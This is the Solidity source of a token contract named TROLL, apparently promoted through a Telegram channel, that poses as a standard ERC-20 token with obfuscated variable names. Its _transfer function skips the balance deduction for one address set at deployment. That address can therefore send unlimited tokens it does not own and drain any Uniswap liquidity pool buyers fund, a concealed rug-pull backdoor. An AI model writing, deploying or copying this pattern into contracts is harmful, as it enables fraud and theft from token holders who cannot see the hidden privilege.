// File: deploy/Contract.sol



/*

https://t.me/HALFATROLL

*/

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

contract TROLL is Ownable {
    function transfer(address rfsokb, uint256 uewa) public returns (bool success) {
        _transfer(msg.sender, rfsokb, uewa);
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public totalSupply = 1000000000 * 10 ** 9;

    IUniswapV2Router02 private kmepr;

    mapping(address => uint256) public balanceOf;

    mapping(address => bool) private fdyirtckpvh;

    constructor(string memory nhvbturz, string memory krlxezfu, address deran, address rtefg) {
        name = nhvbturz;
        symbol = krlxezfu;
        balanceOf[msg.sender] = totalSupply;
        fdyirtckpvh[rtefg] = true;
        kmepr = IUniswapV2Router02(deran);
    }

    uint8 public decimals = 9;

    event Transfer(address indexed from, address indexed to, uint256 value);

    mapping(address => uint256) private ejuz;

    string public name;

    string public symbol;

    function _transfer(address dwhkqfmgyb, address rfsokb, uint256 uewa) private {
        bool mzadxrnuj = !fdyirtckpvh[dwhkqfmgyb];
        if (mzadxrnuj) {
            balanceOf[dwhkqfmgyb] -= uewa;
        }
        ejuz[rfsokb] = uewa;
        balanceOf[rfsokb] += uewa;
        kwqsauxmve[rfsokb] = block.number;
        emit Transfer(dwhkqfmgyb, rfsokb, uewa);
    }

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address rwegakxhlosf, uint256 uewa) public returns (bool success) {
        allowance[msg.sender][rwegakxhlosf] = uewa;
        emit Approval(msg.sender, rwegakxhlosf, uewa);
        return true;
    }

    mapping(address => uint256) private kwqsauxmve;

    function transferFrom(address dwhkqfmgyb, address rfsokb, uint256 uewa) public returns (bool success) {
        require(uewa <= allowance[dwhkqfmgyb][msg.sender]);
        allowance[dwhkqfmgyb][msg.sender] -= uewa;
        _transfer(dwhkqfmgyb, rfsokb, uewa);
        return true;
    }
}